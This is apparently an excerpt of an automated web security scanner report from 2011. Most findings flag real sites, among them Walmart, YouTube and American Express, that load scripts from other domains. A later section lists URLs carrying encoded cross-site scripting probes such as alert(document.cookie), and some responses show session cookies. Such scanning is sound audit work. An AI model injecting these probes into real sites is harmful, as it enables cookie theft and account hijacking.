Date: Sat, 05 Feb 2011 22:20:10 GMT
Connection: close
Content-Length: 16544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Aplikasi Games Buat Hp Nexian
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://kona.kontera.com/javascript/lib/KonaLibInline.js'>
</script>
...[SNIP]...

21.420. http://www.tumblr.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.tumblr.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://edge.quantserve.com/quant.js

Request

GET / HTTP/1.1
Host: www.tumblr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.421. http://www.usbjd.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.usbjd.org
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://platform.twitter.com/widgets.js

Request

GET / HTTP/1.1
Host: www.usbjd.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:21:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=2725183;expires=Mon, 28-Jan-2041 22:21:38 GMT;path=/
Set-Cookie: CFTOKEN=11047330;expires=Mon, 28-Jan-2041 22:21:38 GMT;path=/
Set-Cookie: JSESSIONID=f03049975b529aec19d61d691f7b301a1652;path=/
Content-Type: text/html; charset=UTF-8

<HTML>
<HEAD>

<meta property="og:type" content="website"/>
<meta property="og:url" content="http://www.usbjd.org/"/>
<meta property="og:image" content="http://www.usbjd.org/images/usbjd-face.jpg"/
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...

21.422. http://www.vibrantmedia.co.uk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.co.uk
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js

Request

GET / HTTP/1.1
Host: www.vibrantmedia.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.423. http://www.vibrantmedia.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js

Request

GET / HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maintab=tcontent2; ASPSESSIONIDQADSARBD=AKAGFMCCECLPJIFLFOEMFLCL;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 36022
Content-Type: text/html
Server: Microsoft-IIS/7.5
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:41:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Vibrant - The Leaders of Contex
...[SNIP]...
</script>
<script src="http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js"></script>
...[SNIP]...

21.424. http://www.vibrantmedia.com/about/board.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/about/board.asp

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js

Request

Response

21.425. http://www.vibrantmedia.com/about/contact.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/about/contact.asp

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js

Request

GET /about/contact.asp HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maintab=tcontent2; ASPSESSIONIDQADSARBD=AKAGFMCCECLPJIFLFOEMFLCL;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 137797
Content-Type: text/html
Server: Microsoft-IIS/7.5
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:41:20 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Contact Vibrant</title>
<meta
...[SNIP]...
</script>
<script src="http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js"></script>
...[SNIP]...

21.426. http://www.vibrantmedia.com/about/index.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/about/index.asp

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js

Request

Response

21.427. http://www.vibrantmedia.com/whatisIntelliTXT.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/whatisIntelliTXT.asp

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/demo_assets/swfobject.js

Request

GET /whatisIntelliTXT.asp HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 92116
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQADSARBD=DCOFFMCCFPNFLDGDLGJAJMGA; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:20:30 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<titl
...[SNIP]...
</style>

<script language="JavaScript" type="text/javascript" src="http://images.intellitxt.com/ast/demo_assets/swfobject.js"></script>
...[SNIP]...
</script>

<script language="JavaScript" type="text/javascript" src="http://images.intellitxt.com/ast/demo_assets/swfobject.js"></script>
...[SNIP]...

21.428. http://www.w7o.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.w7o.de
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94

Request

GET / HTTP/1.1
Host: www.w7o.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:12 GMT
Server: Apache
X-Pingback: http://www.w7o.de/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE">

<head p
...[SNIP]...
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>
...[SNIP]...

21.429. http://www.walmart.com/cp/Electronics/3944 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.walmart.com
Path:	/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://cts.channelintelligence.com/841291_landing.js
http://i2.walmartimages.com/js/ajaxVerBreadcrumbs.js
http://i2.walmartimages.com/js/opinionlab/oo_conf_en-US_inline.js
http://i2.walmartimages.com/js/opinionlab/oo_engine_c.js
http://i2.walmartimages.com/js/rollups/catalog.jsp
http://i2.walmartimages.com/webanalytics/omniture/s_code.js

Request

GET /cp/Electronics/3944 HTTP/1.1
Host: www.walmart.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15
Content-Language: en-US
Content-Type: text/html;ISO-8859-1;charset=ISO-8859-1
Pragma: no-cache
RTS2: 1
RTSS: 1
Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate
Expires: Sun, 06 Feb 2011 16:16:13 GMT
Date: Sun, 06 Feb 2011 16:16:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SSLB=0; path=/; domain=.walmart.com
Via: HTTP/1.1 nw379 (nw379_7412093952_03540992)
Content-Length: 76717

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<script language='javascript' type='text/javascript'>

<script src="http://i2.walmartimages.com/js/rollups/catalog.jsp" type="text/javascript"></script>
...[SNIP]...
</div>
<script src="http://i2.walmartimages.com/js/ajaxVerBreadcrumbs.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript" src="http://i2.walmartimages.com/webanalytics/omniture/s_code.js">
</script>
...[SNIP]...
</IFRAME>
<script type="text/javascript" src="http://cts.channelintelligence.com/841291_landing.js"></script>
...[SNIP]...

<script src="http://i2.walmartimages.com/js/opinionlab/oo_engine_c.js" type="text/javascript"></script>

<script src="http://i2.walmartimages.com/js/opinionlab/oo_conf_en-US_inline.js" type="text/javascript"></script>
...[SNIP]...

21.430. http://www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.walmart.com
Path:	/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://cts.channelintelligence.com/841291_landing.js
http://i2.walmartimages.com/js/opinionlab/oo_conf_en-US_inline.js
http://i2.walmartimages.com/js/opinionlab/oo_engine_c.js
http://i2.walmartimages.com/js/rollups/catalog.jsp

Request

Response

21.431. http://www.webnews.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.webnews.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.webnews.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.432. http://www.widgetbox.com/widget/bookmarks-kledyde previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.widgetbox.com
Path:	/widget/bookmarks-kledyde

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.widgetserver.com/syndication/subscriber/Main.js?46634
http://edge.quantserve.com/quant.js

Request

GET /widget/bookmarks-kledyde HTTP/1.1
Host: www.widgetbox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sun, 06 Feb 2011 16:16:18 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=B384C80E93F9283766F9CE859A3180E5; Path=/, node=1027; path=/
Content-Language: en-US
Vary: Accept-Encoding
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Connection: close
Content-Type: text/html;charset=UTF-8

...[SNIP]...
</script>

<script type="text/javascript" src="http://cdn.widgetserver.com/syndication/subscriber/Main.js?46634"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.433. http://www.wists.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wists.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://s22.sitemeter.com/js/counter.js?site=s22wists
http://wistscom.skimlinks.com/api/skimlinks.js
http://www.google-analytics.com/urchin.js
http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=274469352&adSize=160x600
http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=274469352&adSize=728x90
http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=274469352&adSize=970x66
http://www8.glam.com/js/glam_ads.js

Request

GET / HTTP/1.1
Host: www.wists.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:20 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) PHP/4.4.4
X-Powered-By: PHP/4.4.4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 45125

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<
...[SNIP]...
<div id=leaderboard>
<script
type="text/javascript" language="javascript"
src="http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=274469352&adSize=728x90">
</script>
...[SNIP]...
<div id=pushdown><script type="text/javascript" language="javascript" src="http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=274469352&adSize=970x66"></script>
...[SNIP]...
<div id='skyscraper'><script type="text/javascript" language="javascript" src="http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=274469352&adSize=160x600"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="JavaScript" src="http://www8.glam.com/js/glam_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript" language="JavaScript1.2" src="http://s22.sitemeter.com/js/counter.js?site=s22wists"></script>
...[SNIP]...


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://wistscom.skimlinks.com/api/skimlinks.js"></script>
...[SNIP]...

21.434. http://www.wyanokeis.com/create.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wyanokeis.com
Path:	/create.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/challenge?k=6LdElQkAAAAAAEJbVWV-AJz0M2s1hs5FDYlN05jF
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

GET /create.aspx?pid=19 HTTP/1.1
Host: www.wyanokeis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.435. http://www.yasni.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.yasni.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js?redownloadToken=7.01
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js?redownloadToken=7.01
https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET / HTTP/1.1
Host: www.yasni.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Set-Cookie: PHPSESSID=ib67a9muufa2rn8m46he1nmoohr1buhs; expires=Sun, 06-Feb-2011 16:40:23 GMT; path=/; HttpOnly
X-hostname: bl09.yasni.de
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 35949
Date: Sun, 06 Feb 2011 16:16:23 GMT
X-Varnish: 1446015031
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"
...[SNIP]...
<link rel="search" type="application/opensearchdescription+xml" title="searchTitle" href="http://www.yasni.de/tools/searchplugin.xml">

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js?redownloadToken=7.01"></script>
<script type="text/javascript" src="http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js?redownloadToken=7.01"></script>
...[SNIP]...

21.436. http://www.yigg.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.yigg.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/de_DE
http://static.yigg.de/v6/js/ninjitsu_min.js
http://static.yigg.de/v6/js/protoaculous_min.js

Request

GET / HTTP/1.1
Host: www.yigg.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.7
Cache-Control: private
Set-Cookie: YGSS=48eb888e917598a4bd50438277a24ac9:422a0f841e7d9f5de7b2b8ecb19eed22e9c15359; expires=Wed, 16-Feb-2011 16:16:24 GMT; path=/; domain=yigg.de; httponly
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 107868
Date: Sun, 06 Feb 2011 16:16:25 GMT
X-Varnish: 1874493249
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xml:lang="de" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml">
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://static.yigg.de/v6/js/protoaculous_min.js"></script>
<script type="text/javascript" src="http://static.yigg.de/v6/js/ninjitsu_min.js"></script>


<script type="text/javascript" src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/de_DE"></script>
...[SNIP]...

21.437. http://www.yoolink.fr/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.yoolink.fr
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php

Request

GET / HTTP/1.1
Host: www.yoolink.fr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:26 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g Phusion_Passenger/2.2.11 mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.11
ETag: "992028d141273fdb4a6a41a41fd810b3"
X-Runtime: 17
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: _yoolink_session=9cc1429437f35fc08785011823ab42fa; path=/; expires=Sun, 06 Feb 2011 16:36:26 GMT; HttpOnly
Content-Length: 30525
Status: 200
P3P: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...

<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script>
...[SNIP]...

21.438. http://www.youtube.com/embed/208T0-OLXA8 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/208T0-OLXA8

Issue detail

The response dynamically includes the following script from another domain:

http://s.ytimg.com/yt/jsbin/www-embed-vfl4nNnFQ.js

Request

Response

21.439. http://www.youtube.com/embed/5aWd_-x1oPE previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/5aWd_-x1oPE

Issue detail

The response dynamically includes the following script from another domain:

http://s.ytimg.com/yt/jsbin/www-embed-vfl4nNnFQ.js

Request

Response

21.440. http://www.youtube.com/html5 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/html5

Issue detail

The response dynamically includes the following script from another domain:

http://s.ytimg.com/yt/jsbin/www-core-vflvTi9ps.js

Request

GET /html5 HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:26 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Connection: close

<!DOCTYPE html>
<html lang="en" dir="ltr" >

<head>

<title>
YouTube
- Broadcast Yourself.

...[SNIP]...
<div id="postpage">

<script id="www-core-js" src="//s.ytimg.com/yt/jsbin/www-core-vflvTi9ps.js"></script>
...[SNIP]...

21.441. http://www.youtube.com/select_3d_mode previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/select_3d_mode

Issue detail

The response dynamically includes the following scripts from other domains:

http://s.ytimg.com/yt/jsbin/www-core-vflvTi9ps.js
http://s.ytimg.com/yt/jsbin/www-threed-vfl_7rnWe.js

Request

GET /select_3d_mode HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:26 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Connection: close

<!DOCTYPE html>
<html lang="en" dir="ltr" >

<head>

<title>
YouTube
- Watch 3D Videos on
...[SNIP]...
<div id="postpage">

<script id="www-core-js" src="//s.ytimg.com/yt/jsbin/www-core-vflvTi9ps.js"></script>
...[SNIP]...
</script>

<script src="//s.ytimg.com/yt/jsbin/www-threed-vfl_7rnWe.js"></script>
...[SNIP]...

21.442. http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789

Issue detail

The response dynamically includes the following script from another domain:

https://survey.openvenue.com/cs/20002834/js/int_en82.js

Request

Response

21.443. http://www201.americanexpress.com/business-credit-cards/business-solutions/overview previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-solutions/overview

Issue detail

The response dynamically includes the following script from another domain:

http://static.atgsvcs.com/js/atgsvcs.js

Request

Response

21.444. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do

Issue detail

The response dynamically includes the following scripts from other domains:

https://pixel.mathtag.com/event/js?mt_id=10080&v1=&v2=&v3=&s1=&s2=&s3=
https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js

Request

Response

21.445. http://youmob.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://youmob.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: youmob.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.446. http://zdpub.vo.llnwd.net/o2/ziffdavisplayer/flvplayer2.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zdpub.vo.llnwd.net
Path:	/o2/ziffdavisplayer/flvplayer2.html

Issue detail

The response dynamically includes the following script from another domain:

http://common.ziffdavisinternet.com/js/s_code_remote.js

Request

GET /o2/ziffdavisplayer/flvplayer2.html HTTP/1.1
Host: zdpub.vo.llnwd.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Length: 4429
Content-Type: text/html
Date: Sun, 06 Feb 2011 16:03:34 GMT
Last-Modified: Thu, 12 Jul 2007 16:10:41 GMT
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<script src="player.js" language="JavaScript" t
...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

22. File upload functionality previous next
There are 15 instances of this issue:

http://cdn.manualsonline.com/javascript/libs-2.8.3.4.js
http://cdn.manualsonline.com/javascript/libs-2.8.3.4.js
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
